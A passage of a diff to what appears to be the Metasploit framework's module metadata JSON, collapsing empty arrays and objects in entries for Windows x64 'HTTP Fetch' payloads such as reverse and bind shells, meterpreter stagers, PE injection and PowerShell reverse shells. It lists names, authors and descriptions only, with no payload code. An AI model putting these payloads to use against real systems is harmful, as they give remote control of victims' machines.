"payload/cmd/windows/http/x64/custom/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216274,9 +220156,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216290,8 +220170,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216304,9 +220183,7 @@ "payload_cmd/windows/http/x64/custom/reverse_tcp_rc4": { "name": "HTTP Fetch, Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/custom/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216321,9 +220198,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216337,8 +220212,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216351,9 +220225,7 @@ "payload_cmd/windows/http/x64/custom/reverse_tcp_uuid": { "name": "HTTP Fetch, Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/custom/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216364,9 +220236,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nConnect back to the attacker with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216380,8 +220250,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216394,9 +220263,7 @@ "payload_cmd/windows/http/x64/custom/reverse_winhttp": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/http/x64/custom/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216406,9 +220273,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nTunnel communication over HTTP (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216422,8 +220287,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216436,9 +220300,7 @@ "payload_cmd/windows/http/x64/custom/reverse_winhttps": { "name": "HTTP Fetch, Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/http/x64/custom/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216448,9 +220310,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nCustom shellcode stage.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216464,8 +220324,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216478,9 +220337,7 @@ "payload_cmd/windows/http/x64/encrypted_shell/reverse_tcp": { "name": "HTTP Fetch, Windows Command Shell, Encrypted Reverse TCP Stager", "fullname": "payload/cmd/windows/http/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216490,9 +220347,7 @@ "Shelby Pace" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216506,8 +220361,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216520,9 +220374,7 @@ "payload_cmd/windows/http/x64/encrypted_shell_reverse_tcp": { "name": "HTTP Fetch, Windows Encrypted Reverse Shell", "fullname": "payload/cmd/windows/http/x64/encrypted_shell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216532,9 +220384,7 @@ "Shelby Pace" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and spawn an encrypted command shell", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216548,8 +220398,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216560,9 +220409,7 @@ "payload_cmd/windows/http/x64/exec": { "name": "HTTP Fetch, Windows x64 Execute Command", "fullname": "payload/cmd/windows/http/x64/exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216571,9 +220418,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nExecute an arbitrary command (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216587,8 +220432,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216599,9 +220443,7 @@ "payload_cmd/windows/http/x64/loadlibrary": { "name": "HTTP Fetch, Windows x64 LoadLibrary Path", "fullname": "payload/cmd/windows/http/x64/loadlibrary", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216611,9 +220453,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nLoad an arbitrary x64 library path", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216627,8 +220467,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216639,9 +220478,7 @@ "payload_cmd/windows/http/x64/messagebox": { "name": "HTTP Fetch, Windows MessageBox x64", "fullname": "payload/cmd/windows/http/x64/messagebox", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216650,9 +220487,7 @@ "pasta " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a dialog via MessageBox using a customizable title, text & icon", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -216666,8 +220501,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216678,9 +220512,7 @@ "payload_cmd/windows/http/x64/meterpreter/bind_ipv6_tcp": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216708,8 +220540,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216722,9 +220553,7 @@ "payload_cmd/windows/http/x64/meterpreter/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216752,8 +220581,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216766,9 +220594,7 @@ "payload_cmd/windows/http/x64/meterpreter/bind_named_pipe": { "name": "HTTP Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216797,8 +220623,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216811,9 +220636,7 @@ "payload_cmd/windows/http/x64/meterpreter/bind_tcp": { "name": "HTTP Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216841,8 +220664,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216855,9 +220677,7 @@ "payload_cmd/windows/http/x64/meterpreter/bind_tcp_rc4": { "name": "HTTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216889,8 +220709,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216903,9 +220722,7 @@ "payload_cmd/windows/http/x64/meterpreter/bind_tcp_uuid": { "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/meterpreter/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216933,8 +220750,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216947,9 +220763,7 @@ "payload_cmd/windows/http/x64/meterpreter/reverse_http": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -216977,8 +220791,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -216991,9 +220804,7 @@ "payload_cmd/windows/http/x64/meterpreter/reverse_https": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (wininet)", "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217024,8 +220835,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217038,9 +220848,7 @@ "payload_cmd/windows/http/x64/meterpreter/reverse_named_pipe": { "name": "HTTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217068,8 +220876,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217082,9 +220889,7 @@ "payload_cmd/windows/http/x64/meterpreter/reverse_tcp": { "name": "HTTP Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217112,8 +220917,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217126,9 +220930,7 @@ "payload_cmd/windows/http/x64/meterpreter/reverse_tcp_rc4": { "name": "HTTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217160,8 +220962,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217174,9 +220975,7 @@ "payload_cmd/windows/http/x64/meterpreter/reverse_tcp_uuid": { "name": "HTTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217204,8 +221003,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217218,9 +221016,7 @@ "payload_cmd/windows/http/x64/meterpreter/reverse_winhttp": { "name": "HTTP Fetch, Windows x64 Reverse HTTP Stager (winhttp)", "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217248,8 +221044,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217262,9 +221057,7 @@ "payload_cmd/windows/http/x64/meterpreter/reverse_winhttps": { "name": "HTTP Fetch, Windows x64 Reverse HTTPS Stager (winhttp)", "fullname": "payload/cmd/windows/http/x64/meterpreter/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217292,8 +221085,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217306,9 +221098,7 @@ "payload_cmd/windows/http/x64/meterpreter_bind_named_pipe": { "name": "HTTP Fetch, Windows Meterpreter Shell, Bind Named Pipe Inline (x64)", "fullname": "payload/cmd/windows/http/x64/meterpreter_bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217336,8 +221126,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217348,9 +221137,7 @@ "payload_cmd/windows/http/x64/meterpreter_bind_tcp": { "name": "HTTP Fetch, Windows Meterpreter Shell, Bind TCP Inline (x64)", "fullname": "payload/cmd/windows/http/x64/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217377,8 +221164,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217389,9 +221175,7 @@ "payload_cmd/windows/http/x64/meterpreter_reverse_http": { "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse HTTP Inline (x64)", "fullname": "payload/cmd/windows/http/x64/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217418,8 +221202,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217430,9 +221213,7 @@ "payload_cmd/windows/http/x64/meterpreter_reverse_https": { "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse HTTPS Inline (x64)", "fullname": "payload/cmd/windows/http/x64/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217459,8 +221240,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217471,9 +221251,7 @@ "payload_cmd/windows/http/x64/meterpreter_reverse_ipv6_tcp": { "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)", "fullname": "payload/cmd/windows/http/x64/meterpreter_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217500,8 +221278,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217512,9 +221289,7 @@ "payload_cmd/windows/http/x64/meterpreter_reverse_tcp": { "name": "HTTP Fetch, Windows Meterpreter Shell, Reverse TCP Inline x64", "fullname": "payload/cmd/windows/http/x64/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217541,8 +221316,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217553,9 +221327,7 @@ "payload_cmd/windows/http/x64/peinject/bind_ipv6_tcp": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/peinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217581,8 +221353,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217595,9 +221366,7 @@ "payload_cmd/windows/http/x64/peinject/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/http/x64/peinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217624,8 +221393,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217638,9 +221406,7 @@ "payload_cmd/windows/http/x64/peinject/bind_named_pipe": { "name": "HTTP Fetch, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/http/x64/peinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217666,8 +221432,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217680,9 +221445,7 @@ "payload_cmd/windows/http/x64/peinject/bind_tcp": { "name": "HTTP Fetch, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/peinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217708,8 +221471,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217722,9 +221484,7 @@ "payload_cmd/windows/http/x64/peinject/bind_tcp_rc4": { "name": "HTTP Fetch, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/peinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217755,8 +221515,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217769,9 +221528,7 @@ "payload_cmd/windows/http/x64/peinject/bind_tcp_uuid": { "name": "HTTP Fetch, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/peinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217798,8 +221555,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217812,9 +221568,7 @@ "payload_cmd/windows/http/x64/peinject/reverse_named_pipe": { "name": "HTTP Fetch, Windows x64 Reverse Named Pipe (SMB) Stager", "fullname": "payload/cmd/windows/http/x64/peinject/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217840,8 +221594,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217854,9 +221607,7 @@ "payload_cmd/windows/http/x64/peinject/reverse_tcp": { "name": "HTTP Fetch, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/http/x64/peinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217882,8 +221633,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217896,9 +221646,7 @@ "payload_cmd/windows/http/x64/peinject/reverse_tcp_rc4": { "name": "HTTP Fetch, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/peinject/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217929,8 +221677,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217943,9 +221690,7 @@ "payload_cmd/windows/http/x64/peinject/reverse_tcp_uuid": { "name": "HTTP Fetch, Reverse TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/peinject/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217972,8 +221717,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -217986,9 +221730,7 @@ "payload_cmd/windows/http/x64/pingback_reverse_tcp": { "name": "HTTP Fetch, Windows x64 Pingback, Reverse TCP Inline", "fullname": "payload/cmd/windows/http/x64/pingback_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -217997,9 +221739,7 @@ "bwatters-r7" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nConnect back to attacker and report UUID (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218013,8 +221753,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218025,9 +221764,7 @@ "payload_cmd/windows/http/x64/powershell_bind_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/windows/http/x64/powershell_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218054,8 +221791,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218066,9 +221802,7 @@ "payload_cmd/windows/http/x64/powershell_reverse_tcp": { "name": "HTTP Fetch", "fullname": "payload/cmd/windows/http/x64/powershell_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218095,8 +221829,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218107,9 +221840,7 @@ "payload_cmd/windows/http/x64/powershell_reverse_tcp_ssl": { "name": "HTTP Fetch", "fullname": "payload/cmd/windows/http/x64/powershell_reverse_tcp_ssl", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218136,8 +221867,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218148,9 +221878,7 @@ "payload_cmd/windows/http/x64/shell/bind_ipv6_tcp": { "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/shell/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218159,9 +221887,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218175,8 +221901,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218189,9 +221914,7 @@ "payload_cmd/windows/http/x64/shell/bind_ipv6_tcp_uuid": { "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support", "fullname": "payload/cmd/windows/http/x64/shell/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218201,9 +221924,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218217,8 +221938,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218231,9 +221951,7 @@ "payload_cmd/windows/http/x64/shell/bind_named_pipe": { "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager", "fullname": "payload/cmd/windows/http/x64/shell/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218243,9 +221961,7 @@ "UserExistsError" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a pipe connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218259,8 +221975,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218273,9 +221988,7 @@ "payload_cmd/windows/http/x64/shell/bind_tcp": { "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 Bind TCP Stager", "fullname": "payload/cmd/windows/http/x64/shell/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218284,9 +221997,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218300,8 +222011,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218314,9 +222024,7 @@ "payload_cmd/windows/http/x64/shell/bind_tcp_rc4": { "name": "HTTP Fetch, Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/shell/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218330,9 +222038,7 @@ "RageLtMan" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218346,8 +222052,7 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218360,9 +222065,7 @@ "payload_cmd/windows/http/x64/shell/bind_tcp_uuid": { "name": "HTTP Fetch, Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)", "fullname": "payload/cmd/windows/http/x64/shell/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218372,9 +222075,7 @@ "OJ Reeves" ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nListen for a connection with UUID Support (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218388,8 +222089,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218402,9 +222102,7 @@ "payload_cmd/windows/http/x64/shell/reverse_tcp": { "name": "HTTP Fetch, Windows x64 Command Shell, Windows x64 Reverse TCP Stager", "fullname": "payload/cmd/windows/http/x64/shell/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -218413,9 +222111,7 @@ "sf " ], "description": "Fetch and execute an x64 payload from an HTTP server.\nSpawn a piped command shell (Windows x64) (staged).\n\nConnect back to the attacker (Windows x64)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "cmd", "rport": null, @@ -218429,8 +222125,7 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 8, @@ -218443,9 +222138,7 @@ "payload_cmd/windows/http/x64/shell/reverse_tcp_rc4": { "name": "HTTP Fetch, Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/cmd/windows/http/x64/shell/reverse_tcp_rc4", - 